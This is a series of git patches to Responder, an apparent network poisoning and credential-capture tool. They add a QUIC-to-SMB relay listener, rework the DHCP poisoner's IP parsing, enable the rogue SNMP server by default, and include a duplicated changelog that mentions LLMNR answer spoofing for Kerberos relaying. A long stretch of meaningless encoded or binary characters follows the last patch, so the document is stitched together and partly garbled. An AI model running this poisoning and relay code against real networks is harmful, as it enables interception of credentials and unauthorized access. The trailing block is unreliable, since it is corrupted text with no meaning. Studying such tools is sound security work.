Get address info for the specified interface + addresses = netifaces.ifaddresses(interface_name) + + # Get IPv4 address (AF_INET = IPv4) + if netifaces.AF_INET in addresses: + return addresses[netifaces.AF_INET][0]['addr'] + + # If no IPv4 address, try IPv6 (AF_INET6 = IPv6) + if netifaces.AF_INET6 in addresses: + return addresses[netifaces.AF_INET6][0]['addr'] + + logging.error(f"[!] No IP address found for interface {interface_name}") + return None + except ValueError: + logging.error(f"[!] Interface {interface_name} not found") + return None + + +class QUIC(QuicConnectionProtocol): + def __init__(self, *args, target_address=None, **kwargs): + super().__init__(*args, **kwargs) + self.tcp_connections = {} # stream_id -> (reader, writer) + self.target_address = target_address or "localhost" + + def quic_event_received(self, event): + if isinstance(event, StreamDataReceived): + asyncio.create_task(self.handle_stream_data(event.stream_id, event.data)) + elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated): + # Only try to close connections if we have any + if self.tcp_connections: + asyncio.create_task(self.close_all_tcp_connections()) + + async def handle_stream_data(self, stream_id, data): + if stream_id not in self.tcp_connections: + # Create a new TCP connection to the target interface:445 + try: + reader, writer = await asyncio.open_connection(self.target_address, 445) + self.tcp_connections[stream_id] = (reader, writer) + + # Start task to read from TCP and write to QUIC + asyncio.create_task(self.tcp_to_quic(stream_id, reader)) + + logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...") + print(text("[QUIC] Forwarding QUIC connection to SMB server")) + except Exception as e: + logging.error(f"[!] Error connecting to {self.target_address}:445: {e}") + return + + # Forward data from QUIC to TCP + try: + _, writer = self.tcp_connections[stream_id] + writer.write(data) + await writer.drain() + except Exception as e: + logging.error(f"[!] Error writing to TCP: {e}") + await self.close_tcp_connection(stream_id) + + async def tcp_to_quic(self, stream_id, reader): + try: + while True: + data = await reader.read(BUFFER_SIZE) + if not data: + break + + self._quic.send_stream_data(stream_id, data) + self.transmit() + except Exception as e: + logging.error(f"[!] Error reading from TCP: {e}") + finally: + await self.close_tcp_connection(stream_id) + + async def close_tcp_connection(self, stream_id): + if stream_id in self.tcp_connections: + _, writer = self.tcp_connections[stream_id] + writer.close() + await writer.wait_closed() + del self.tcp_connections[stream_id] + + async def close_all_tcp_connections(self): + try: + # Make a copy of the keys to avoid modification during iteration + stream_ids = list(self.tcp_connections.keys()) + for stream_id in stream_ids: + try: + await self.close_tcp_connection(stream_id) + except KeyError: + # Silently ignore if the stream ID no longer exists + pass + except Exception as e: + # Catch any other exceptions that might occur + logging.debug(f"[!] Error closing TCP connections: {e}") + +async def start_quic_server(listen_interface, cert_path, key_path): + # Configure QUIC + configuration = QuicConfiguration( + alpn_protocols=["smb"], + is_client=False, + ) + + # Load certificate and private key + try: + configuration.load_cert_chain(cert_path, key_path) + except Exception as e: + logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}") + return + + # Resolve interfaces to IP addresses + listen_ip = listen_interface + if not is_ip_address(listen_interface): + listen_ip = get_interface_ip(listen_interface) + if not listen_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + target_ip = listen_interface + if not is_ip_address(listen_interface): + target_ip = get_interface_ip(listen_interface) + if not target_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + # Start QUIC server with correct protocol factory + server = await serve( + host=listen_ip, + port=443, + configuration=configuration, + create_protocol=lambda *args, **kwargs: QUIC( + *args, + target_address=target_ip, + **kwargs + ) + ) + + logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)") + logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)") + + # Keep the server running forever + await asyncio.Future() + + +def is_ip_address(address): + """Check if a string is a valid IP address.""" + import socket + try: + socket.inet_pton(socket.AF_INET, address) + return True + except socket.error: + try: + socket.inet_pton(socket.AF_INET6, address) + return True + except socket.error: + return False diff --git a/settings.py b/settings.py index 141e339..a03ee92 100644 --- a/settings.py +++ b/settings.py @@ -124,6 +124,7 @@ class Settings: self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) + self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC')) self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) From a0d1f03617294e62d677e5d3591b82d0b0caf93c Mon Sep 17 00:00:00 2001 From: Stefan Walter Date: Sat, 12 Apr 2025 12:11:00 +0200 Subject: [PATCH 214/219] DHCP poisoner: refactor FindIP - do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46 - operate on bytes (avoid encoding/decoding round-trip) and use simple string search instead of regular expressions closes #181 closes #304 --- poisoners/DHCP.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index a0e1713..602fdc2 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -239,9 +239,12 @@ def ParseSrcDSTAddr(data): return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): - data = data.decode('latin-1') - IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]).encode('latin-1') + IPPos = data.find(b"\x32\x04") + 2 + if IPPos == -1 or IPPos + 4 >= len(data): + return None + else: + IP = data[IPPos:IPPos+4] + return IP def ParseDHCPCode(data, ClientIP,DHCP_DNS): global DHCPClient From a76ee47867311bf42683b6c31db1fad45b6c99ae Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:23:00 -0300 Subject: [PATCH 215/219] added check for aioquic & updated version to reflect recent changes --- settings.py | 2 +- utils.py | 7 ++++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/settings.py b/settings.py index 64ff0ca..d8e7f04 100644 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.5.0' +__version__ = 'Responder 3.1.6.0' class Settings: diff --git a/utils.py b/utils.py index 38a72b1..58fa108 100644 --- a/utils.py +++ b/utils.py @@ -29,7 +29,12 @@ try: import netifaces except: sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"') - + +try: + import aioquic +except: + sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"') + from calendar import timegm def if_nametoindex2(name): From 658480e0a558ca57a5cfcc3caaa06eecacd88696 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:27:55 -0300 Subject: [PATCH 216/219] added recent changelog --- CHANGELOG.md | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bbc5d88..755e6a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,35 @@ + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose # Changelog All notable changes to this project will be documented in this file. From 58eb8731a5e7f4d60a5bc2c8d6dc13109bdb7de7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:34:30 -0300 Subject: [PATCH 217/219] Added SNMP srv enabled by default --- Responder.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Responder.conf b/Responder.conf index b74a851..5a4e46a 100755 --- a/Responder.conf +++ b/Responder.conf @@ -21,7 +21,7 @@ DNS = On LDAP = On DCERPC = On WINRM = On -SNMP = Off +SNMP = On MQTT = On ; Custom challenge. From fa2b8dd5fdd97831729aa862cd66adeb6becd324 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 11:42:50 -0300 Subject: [PATCH 218/219] minor fixes --- utils.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/utils.py b/utils.py index 58fa108..b77ccbb 100644 --- a/utils.py +++ b/utils.py @@ -485,21 +485,13 @@ def banner(): ]) print(banner) - print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) - print('') - print(" To support this project:") - print(" Github -> https://github.com/sponsors/lgandx") - print(" Paypal -> https://paypal.me/PythonResponder") - print('') - print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") - print(" To kill this script hit CTRL-C") print('') def StartupMessage(): enabled = color('[ON]', 2, 1) disabled = color('[OFF]', 1, 1) - + print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder") print('') print(color("[+] ", 2, 1) + "Poisoners:") print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled)) @@ -579,4 +571,8 @@ def StartupMessage(): print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) - + + #credits + print('') + print(color("[*] ", 2, 1)+"Version: "+settings.__version__) + print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, ") From 398a1fce310b38647b8bc09d3d6bad2f977696a7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 18:45:45 -0300 Subject: [PATCH 219/219] Fixed minor parsing issue in FindIP --- poisoners/DHCP.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 602fdc2..3d54126 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -240,8 +240,9 @@ def ParseSrcDSTAddr(data): def FindIP(data): IPPos = data.find(b"\x32\x04") + 2 - if IPPos == -1 or IPPos + 4 >= len(data): - return None + if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1: + #Probably not present in the DHCP options we received, let's grab it from the IP header instead + return data[12:16] else: IP = data[IPPos:IPPos+4] return IP

iT3~#)RFhX0MB%2!s<6)UU}}P%D&5JXkyQr5bCXT&TIp@(bhVV&XqMl`k$)-$oF!5lek9zBX{G5YdT zRldg~|ChaY0j#39{`hBiZ;}fM5JG_P5P|}tfChpHLNy_|d0-ME2`@o;1q_IohJ=R& z4F)VBpePur#fla!0$Qr5_y(j3h=_oSh%{1v3WioxDyT^QpR;?Hz4zuO1hxJ3|NsB? z=9@FSJ9FmDnVB=QGqbavq1>0#i!H~QqINjS8=c1g=2Ia<7q^{T{XuDE`_!(aLzt$^u76Yn5vR9oBRwMG+t;%|wA z|Jp69m+e<8%tdnE(aS|o+2-Ej)|5@-+0`Fk6skUdDZ>} zdiiw`)$DeC_{-8ATG@3GrhTZgjZimAAR8Ao%qjnH?kB2*zFy|B@-#N0uPkTH^z&-& z->dH+)m7Ek&|j&H9LCE@OjXSNL1P=5;)~f^ZByS-^DB!Ru~^5LeS&@O9z!2IrOl~a zyLPg^cKFfzIWL{y=BqTtm5b->V;Ar8E7B-vS&Or@^3A_1J>1^dg8IwfoqM=FU5TUcT^5oJbQlSWCVx8T)Lxr@8Oes=I73@tO_Z` zqbhcrLVQy-wfv3WO>RHpqIXTsb3YTlvqG{;cU7iHQ_*!-{GI`O4=>J`Us>M6__~al zqaJ;W-GvwS9pbKPgIVY*zRcTA7Z+;W@AoxZ^qkSA@$rn)lsuKj^iEk*8tPf^mhqNU z<|(pvZ)FEo(47zw<}{jY@GYPDm0h>RZ~A7fyd+hmB|VZ%s>`=^Z6vAh_u-sIUM;OX z+K2+xZ-0|}nn1hqy~yHy<=ar;W0rCrW2pXAh^3v!yo!-ed5BUOoG;(8_jAOeXsSzw zoId%1e7I!PLzU(6<-0C=hem_@|3uPo_TY#wFFwBavub)1bKHE!8{fabSLzLob>UHnm*)Hkiht@{{RY~}V<&Clt zJN$;q((e)&hsHb)`Lt|=3v1f2^t;&N5U!N9I@?Z`9{XRhp<@v7|9>`g6sZ;)Dyjc} znGLNg!~VZvL-WX#|4JJ=TuMzN5%0g-hFWq?K~7&AD(C;rHdOQ)#D?Z`x&AgZ#%GOy zhi_8zV)C1wBUuSF@^NMCXIkK9qw6Mj$#`>lB;V95KfZX*ap_F5-l6^C{!xpg+l0Sc z&VI4qZ2o6^V|)0nvN^}fPs+xC6vsLWk9(^WQ{MM6=F zdo^XzP`|HW_VrmwWF<>kTv6M_gS7ZP{obJq`kh8hdj^!H(Jd=-B@veQGt9;>LN)pA zrwn`YvF*+x9;-Vd%ZM+s{QJ$HL~i~vGW?y*ha=~DjvTK>qiL?P$i4;cqW4~s9{>E| zZa(E4S3c9leFo%I`7YyIv|1LoxYsq|Ux`vB4JdVo#Im%8w7=H2 zcVUm79j_`qHrqEh-Q`0f(?kR(*Vxry~#AAtS2xvOhxUk*-A-@b*L_nX{QcM2gR@suw5g zBi{5ZlEha%RXSmj;=JlHlTTUkYFJHwR+zXZyQ*I3-?gYq|L#Q{uX?@culFW!^Qmc$=&w3Jg)$4N(6RxO)xYrT)>Z-f&D51)VR~2`z z3a!qxycK<06$6|7CYx}ZjeU2{r&X_B`Z_`SH<&Shvg>FiS^> zJD0tRibYY8rlJNT@nrYWjod5ET+U1MBg}=ylf#Za#-+02l~sl*Xwi4wdh~Zs-#DUB= z%sCk{+c@JnIS3_`c{WIjo7{B>A5|kJHykmr^t*;l=AU7#wdz%(kKbO^ij>FRyq)*p zk1x*Xv3u@!+0jbf(ZJH*->X7ixQ=s5R8@HYzD@2KNrJ3fUzwjOsLtF#JcCNEQAH;f zd$zLk#0D7|J;Jw3S%|hGeh)(keTOWcqo3Swc-HqFva;APJTZNTtSUCTdfNU<;%aiw zg-G|S^{f$Zvgk6LFBD+%N{@~y^Q@B>fsXPxH>c6b{V(ihhYqfBr|*#H;!s&%;n~`E z$U0V1;H8TGO&L>}wP@F8^ln zoQ+t%>dY4x->|XC^Vc?%(I`~5kL@;CU{~(hRsPkB^3)!G{Gu%v?U?(S1bs~|ERN=B zc1e@x_sD>FX$QE=OHidTI9~hlH97mB$!{BS_Udcb$l3cdct|btY(w0mjkz5Et!z8r ze!xl3PSklvar3^#+lnLm7H=&MHxsq%XcaYLA`7oN3^?%VuH`*)9oZ_X;41FL<-@AfTTUlcO2G;^P3<}E8T`)2N&!KlK% zxol9PDLz|XqVWmV(mC%}7c(UBJ}ErFs=Lw&2b8q}v~T92VqQe?92!v7cw)8ZP?fvd zb3ly9`x_;gL(T@HQEl&M*(pjePpNr23As%$-&JCYF2N4W+oK41u~XiSjNg782TM@pLy5<;k6gpLtn&Rh*-+@?V=~It<=fW{K0JI% zqd_r-S2dS0+{UyDCuFqlq>R)tAA!K;#;+l!i02jK+ozlu|7>pgb6znneei6Xd);+1 z%w&y=7qv3K{L8>GOW7%Ue4SI2n&y(l-tO!pBjkp;4=o!6Z;fE~$NylwUOxK}8NN+s zfr=Y&?mGDidsye3{KUJBc3#J5p6Bs*@)Kk4NN$6U17+3-j`@>-@8!C#9_YC!dnwj43@5rESgxJ#lr0~WsMo}g;i(a z0P0b5NuxQsTy^|pN`wq54Pz%Y29>W~oTl;7&a9ZOr_%fVP?qJoz1c7t2{<43jxT#o zSFurYgbd-fk?$(BC~q!9$*iX~$B;LF7h<>;dPkA@v;!LhuzPln$>Ie5F4`g+RS~!| z(Jjn$FK}12WWZ{e;Bbm25t9CbI+zG>)%&$a`)`+-0 z+f~CW=6;)uvWTR=Y0nRODF625}a2fe)~ExUX=5a7;!0`<*yHu#V>PY_+Be^ z&)YPsaJ61MRi+!HF!-yko2|Nw>e8Ia+edpv1ekn0`d{owWaa#5K?Xw$IH%?!e+vs2AS1)Ke>l-b_W!D9n2{9G& zw2YCZus5#WH*}hOR$Uc8RC;@iUid&+XldvfDH-LVMNKC5b<+*r#MV+re}e^JKX2ib z;?m8UWpUelbetFm+03i%X`4{wX43iS7os$4+U9RKMUNi{b*62$aeAK9HcjT0N}y9( z(d|-0X8i}}Z=`IUEmzG0r*O;?YfigVcRE5PuI{v+X}6N^5~ejT`7U-^Xp_gb?5%vg ze0Th&l26+2J=W^B)w>^>A1?Ta4;Oq@ zzKstT#M~=iFYtb~Ad;^ZH0G-X5!2mWlRHN9se%}21T=EctT69a3r34I_iqnaSZ5{x zX{-c9IthrDPxT^ITl-#&bFVG;NLX7N&ml&g@Rld~>!n z+e|sHu64GVcR8+OUV8kYW}s#f(pBoc%b46f?J3%uF%5a^~}8jDR9`-C{nC+;v-w5@z= zCt0Y~Z(Cu*^35Zb@pU6t$Je{d&TXgJ!fE(HU?7*GW611rJP zU@O=Uj)T)cj<#dmDgk7Jsh|X`0xyF-;0vISb*mPjCm0H*fFCmk>k)GkRx)k zTYWzXJ%QceLeAy5s+hb1?SLDcDuO@Q2VMs2e&bfl!9p+vJjJy?fJLAH+z66EPjDfK z0;i{;Td*Iz0XBjM!QG$;i~`vp0dxj2zzx1HbgN_F5ZD2p11rEnPz1(-G-T`z?F^#9 znO~DHU=P>?)`JJZ0x%tn1B1cU;4;t_GzMqbWaJn)0Jeb_!Q)^dxD8ANLqQ7Y3EF~& zfX`#8?{9Uhe}YP|2W$Zwz-q7(+zsvolffbUp8#V(5m*TR05XvMDX42YIs;umACLyF z2l-$+xEnkQo&qm}o!}7o8k_-*XHdRCGROsmU;%g>Yy`W(r=T@?*BSH&*+7mBl#Q)m zKR5!u2aU&D_vm|<;3|>j_TqOLD+x-tw-USzD#2+GmFHF+L2qz9m<;X$4}zz`R1chKWxEov#+q2FV}`3oqR)RI)Ij{-r0PllJumyQfK+gd8EckaLbD7#S=y%~8=DrqxN$=n6Y5H_y&X-?3CVlGk zu~R1H#TJY$9DB=zq6vk#rcIlW7h7~|Y*K7t@zkP8w@iqgSUh!n(WG0aUe-|f%17BE z*QTj1Q;Vlep`gkUT2gXX$=nhe9OJH%yY4KB4hiviJoD$z4^b*Et|YspM3E5}_sJes zqQcabadFw%3kVk5rDOrOlo~T;On!d8+Z{HupkPKpftwVPi7HG|IvjM0>y=;JDXwSm zf7h#`Tk*sZSDL0~g9O~!AQ|L>Pv@l(FJ(C+O*K|cR3$X|t~BmQMAjjGMRO_MbNZDk z7Q}haZ6f~VUQ-YSngKav6T8lUI&B`z1DHo`{^fg&T|ghpn;Bl5;$Olx2g0)@5Wm7# zWE%=D1hJriG*p6KxW|B%U^Q3|HUilwUt|@2!Xp+)oRTJqw?B|{r-6J>0A_;aU?o@q zgrA%XA2$$QZ9x|h3%Y^fK>Uc`jbIzt3F?YFf%|D71B?OrK;mBlgx4~#63Dsmaf86P zJ8~@>h@X{UJ=g@c0tr)Fx)ZoppSTy`F9t+-X)H7WbOAplZV4;#ip;qn9~6L@K+?Pt z*gF4jid)i}03_Xl;b1k`2)2R!;2@|?=Ly_P1NBMwO8mtDTjvs=gpC8@KHs?QcqQB@ zVC%aC_e!uDtOD!7N^q{Y#os2d8&rZ%K_m!P*6g??-Z5Y%C;r+51 z7!Jgb9CAIakw@)={|c}%%A*!Rhl9!=lU1L}6cvkmT~m*WhJJc!nz}Xu|In4-fk=;9 z4xIvi6q%r>F2Nq-jv1b+mgBw$_dIA9@TV`5RV>s6DnCtDUEqJBOPc!Ikz{ocx&bsj zldM)jXMzE^r$FPtvp*!OPoKdW;x@idR>v<+Q!fLt>0=>Ykp*$uh@(X;4P@<8<71&jfr(*!UE)a6(7Yx`Y|I{}EE3xMcfbiDxNgOy+= zC;=-$0;tXJ3hvo{ZN73o8%Ugze@j3SSOrRe#Ip?~0J$!HZ5hOG0oVjefcV`H5(Mj5*A>05>~mSlHL)E!sFj5@!Yv*;;fAkdQOBla zwHW_Xp|cyNspAdO)T>uCzIsNR&yzMzd+I~&xr;|`^@iy)^P$h4y?6VdviB}(l$o*R zSX33mV0LH}IM2 zCoWz!V)?pL$SKDr=n}76bh3!_*hkBks3!*XN>5YUaf?1y<35OcIkW(L`AV`H1C0Zt z@Y@B*;R2%`ad>Ti)(U^{yHvIDxn#8ux)pTXn5i4*h4I@167jZ{(eHrc#aUa~7s)}%* z!o3=IF7B3(BR4b}^v12A2R}y7&nK99wh4E)KOr}CJvjAoiaLfLIb@!58*&_4m8`x5 zZ$6x?3iep{UVezY^|~MBdal=f(I1mln%6y>G?jSWlIPif^r+hj_aG1(y9(Lm2m>3r zXCHaLv&zG1(pmodWVH-`Gr=Rc^Pw4FI(|eavEY5&qK9Lo`6zDD!$xo#x9DLW=(ZzO zxq%##t}d&b_&VY5^!8M>4_tP#Vd-;bc>hznbYX1vTcCEN2-RphiP>aZ0^e^|PEul<${a&#Y z8{>6vx}QAczW5nkL44lpogbhqdEFo5UhZ|fpCrH6S?P8YU+iN}x?i46UE|(NZ~%8c z^we5_`%`EMXfcQDPzA0mp+2l3ec+Be(FatHfxk^w$zFH+@?^@mb^WoPlm+y+tsqs+ z?L`@b#(`zH_hT!U-XD6#A(Bo56Rmct06KDchl826=a*Ury{(9XFZ=$~8-gHYU z?+lWDXdEaYo@^k8jI>ST5GrpncA@Xt79yxiWV%@u zs&TY#H<>M*v~PuKlDb8Wh0an}sU&(u9+jvD)6@3Q`bvL0(9bY>OOxO*K}|Ec1m3@v zI}(fhzZE}noXbylm4*KqW|;0uILtCb28PQ*q6|igx~m-G7XDL_L_+7PL28)!td~t{ z#*@;qUKvdR_*Zoaism>%eO>?_>t>zL!<_)+2-|d_io+f0JrC#Hh5N)%>wXgFVl%`h zH0o}J-^aZTV9I6I`EuO(AogXmOf?%`ly z4@=$z+@}Vos_wDauyiY2%s}j#*DY=E#??;!O>2*hNu#ftnyRMZUH}~f;?(K_8RjvM&q_#qrfYrE*pnX8$4@s&U z^hncG^_LLpD|9_L9!9;~kfO%m9u|R}$V^fDBU9D(CiK6cX<%4Pvg!rh)Ff4{y&zeg z!UkmH{-1XEm%dYDYydKa0!gdbt1$4le`Hnzc(1z}(#GSKLwIi^y?;NJq_Xf&91Zzbf{t1VH53&9>XL3M6#wQq!OZ(2Q(i;y zpO+`pklt*=hT>o4>EfU3P_vh-N0+Q1-X&lj$OqX5c}W`Lyfg-?z;T^&33h^wUYoUqrlFWlTyFtV7h(?W@L^h3T7Tvr>%a~TJ+qAu)UHjM$7t#=P zzPQUJmv-&e{j$p)>wZ3sR6Kpg%vraM z9K~GpnA-3EX7-%h?J$v`P_x=a_KRoc!!H*C9t@4w@fB*D?>|5LG&QU*|W0_ioQyq3AHaooISi(8k&b5MT@)@}@vrGRGZ7s8 z*Od#~VfpuZ2#r)O=2Ffc79*twq-P}#9>HZR!^~X!{c{Ow zE7%QofQIzxrCKQD95y)i+hg5QGG;2Cfj*oRa869*(Eds3Wp ztDuX&?la@m@Hi_(UPBRYnsQ-4Z&I4kPTi(l81-K(7bfI73iHH$ zuKFE#-#!;A1*2iZ1`Qb94+{$o4GjqiadD8v9Nq#?JE3m=djc;DC8$%MCa4CVC8!HN zPf&M(14k0no-Y#ABJhW*1XcEr1a%JxJbHbZpzZ~tDLK9lNmO$}6V*MSXIP?I0&aIF zs@a1#E*_d>plePq0>SF82Nxh`W;5tAdg7Tz+pC^lY- zksY2}xY}zy`s#&w>=;qB^ zv}oBfCZ<)Z)~(yLY1{UK3);17-#(TBk_#`q=%S7tJ9X;Z`QnSabh+e`OE2x(wOhCD z-7mZB^2_7mdi3boGd{jouPd(T-TTTb`}FDCH!@O>bcGlp8b6(%(7OtI6Up|1I z?;(8{Iqt&7^dasz&;`VTb_ihTn!5Cwk*d>Zr2%J*sjpSX+T!p3j{noZ|7qZt*TA~6 z6eTuXj^()Ry1D?j*S^Hg#LZd;^T@~D*6SXF`$Dh#)~UBnoH%yMvzh0>4!EtHCqIo94h&A6AX@zv#zIeuf{9Piv%jZY^>hR*xu`_CMNs z{TpqAU)tR0-e3ELMsTeiR{hi(H0U zTSJbkYE4Tx`WUSLQw8!^T0@T7O2CzRTYabYwzfd~`uWY*B|hFW-Bte()XP><_hs3-M5tJCT)>Yv)h>W_+R)ZKQ};VV=L zJ>Un_Z`3~3S$juy(w3=?s*}1v|6V<+KdQgQx{Yu7$+hS7#_CdCT-LQ`^;KS%UEjOb zqL1L^u($f7zDmDQKcgt()FL>q@-+ z)E@OG)6&6-JEv%szGgPQyY>`elGI6J_=-4^x$-UUPl?+D7#ZP83;ZzGh3i$Wr9r!J zB^`Hv+za6U2epW^UvV~)v*+|kTs`n}HS{9Tfx8325Zukdb9x4638stDVC`RA$>K^P z?rb=;C+tklXQ|CxS-{zCrr*K*ml)pU-cXROT%5hl)e~?S2HnNg;ilhQT*bKJ^+ z16qWN(|)IZubyO$%^G#3>Y?q{MyhwTwQ7fUtv;Sv?L1p?RK?P4^<7cmOM2rP!FlbT2Fnllmn!BYPdR9Snx9 zQ=e$3wYF-Ex6EW)OcTg$gFN;)Trp_=`*ZxvYYI2GRG>yiJPO`FHX=S|2Pm!CJ` zEj_<$w?^iOYkaT973S!taJ5|KX+?!_>i|V9nZ!an16^waCkVEh;~nG1vQ+QXF1e zUh!ajuO;^u#XnN9^X*ZD=I@F%Yr7*|F9eQkF>iiOMM`m6Me8l^SG*vauE@=suxRJo zdB1vO&DxDE)~sE#_K}J;Yp+GR2?)EfVo0xzn>H(L&D#7ekM68^Yxd6B6<-6}Q0WnTn|rdRj%ZHEUZ`yu%gv@ISs{_q!&su2hs&l$+P@v~F|t z8S}it>%St8OZ?^8=jIJLu>v%!sAypZFyrB>_g1s5f8hF~^X9KvyKB#ywe#jzG;3DT zqQy=5ue(AjDwe&mckkZ6zW&s6Pab;m>EAv1Qp>0h?`-nMOSe7r#zRe3y!z0JSEK$s z=g;p=eQ55!+uxg7vSa%lZ*2SXx;NAJty{OD$GSh?vSHm*>(-SuZ&ntQXO#Z2Lx;kqzloaKbWvoZW>GDoqHk*!72PbVf3p_7qFT)EAJwA&v?*Cp zQCZFS>m8NQteN{Zj%E=Iw}doo65Xm*tDZgcnyahy-B_`}Ut9ea?Ra%GYtr7RaWBws z;Q4#ChFGq5=C?(=r#ca9w^;pIy^G~-u3cU0Z;W=Qwu;{o?P}freWT6e*M`3J2zuA2 zs<&vtevenDt70r?rGBDXe%;mG)%LHM-h$sWeX3rdH&Qi2e|eVYUAp{g`q-lF(MoBn zJlfOr?B%yXo24(MP5XdfjP?P2iktP{8;=;jH{y*y8P|Y#{y$~nFUDVtG~;>`*BI$W zmNCf4;r?HYG3M_cV;w&^n+EPNuiaqmG2Sx{@%xAOXQ$>1b)(){8?VRfpXlG~BaCsz zuZ=LHiBW1O{ir_A=w&=;%+`m+_r(g1w7Q z8s8Y-8>fsPpr?%=jcVhJai5`FpBV2m_PD~(Tpt@Du1aH#@wDM~y=ydfHE~6{qFnoo zX0ES{7OoGBqee@Y=8AE3bUkBiFrGD@GupX2yL!^351~bUOl_lQ(L`^fx7R!9o%BBX zs_JCD9sQCws~=Q3+F<$?H|V4FJbjXWi+(F@-EZ_e^!fU4^+o#K`n~%7`UCny`or|t z{-o1Wrw8$({)+yZ{)WCy->L7`-_!T&hxEVepX*V~cbBRodV%(E_0RcTMxXlO>ciE` zswb<5t1EdrKU)2xx=?$Ce(m$>kk)}-!W-4RnSie|S}eVqZu-O3S^8%F%TM0pcvS6D zAJgJ@)Na(4YR}N}C(uv1Pk%~ZuU|>ueUtuI{Z0K^{W|(a+x55g5Auuj&W%#>U6`yZRn|uYOqnAN>dYgnmX>#%V@{cj+yRZ}pG#AN8+v&A7mD8UNDT z8y6ZE8J&#gMoZ&s{iJ?M4>7tKp@!RtFd~gcMrY$v<1*uNql?kNXlle6J&h}j-bQz$ zkI~nNG6ou%#!zFJaicNX7;B6-1{(v6RAV^f@P<38!xdRKl|21vnQ@14i}`!PaDG!v zccjskpL6x+yS~$H9zFc{_C?}$NPanWr>8O1xYfuvCK)#wH{&ZC=?57jNW}!>2I|^i z<2vJBV+r-l;+5;i$>#qA>DsQpqYp78h4LF}M3W2S(8QQpLO5X~&*`Ha{YR0nFX>kp zvF5KSXO;THrp`XryBd?>aaz9`Tw&a4SE*I5RiTgRPsq<@ra;PPhQTLzGvHbc5wL#yYKdhe9p4Xobdp?9;!x!o2uQOg!FX=C9 zFKbI(uj;R=rP?F<<_2%M-U@kLQGZo`#U8w?c8Be5@DNWYuki%6 zN8e-YaqZLh@zlE4*sH(idXML??Z!seM*T^RpL$chX>3#5^c`x4zQeV{wKVh%^@hIG z{XxhF#?sKGVf*#{+K1{x?EU-NT4Rm2R({6XkTsg=#zUvc95i zQCsva#wVelxbN2P(eKfgXiJQH)&1&zjTV4Wn5Ft3Tz}9jH2JO49@8G@_ecGYjN&}3 zKWjY8Gx>|?aFe!K+okht#<ZlD zlaia}$x8O*Bqe5hGIBf_o+Nx^HMrVq+W%pEc~F(V`WTF;1_#G#(-K?L<=W)B+7 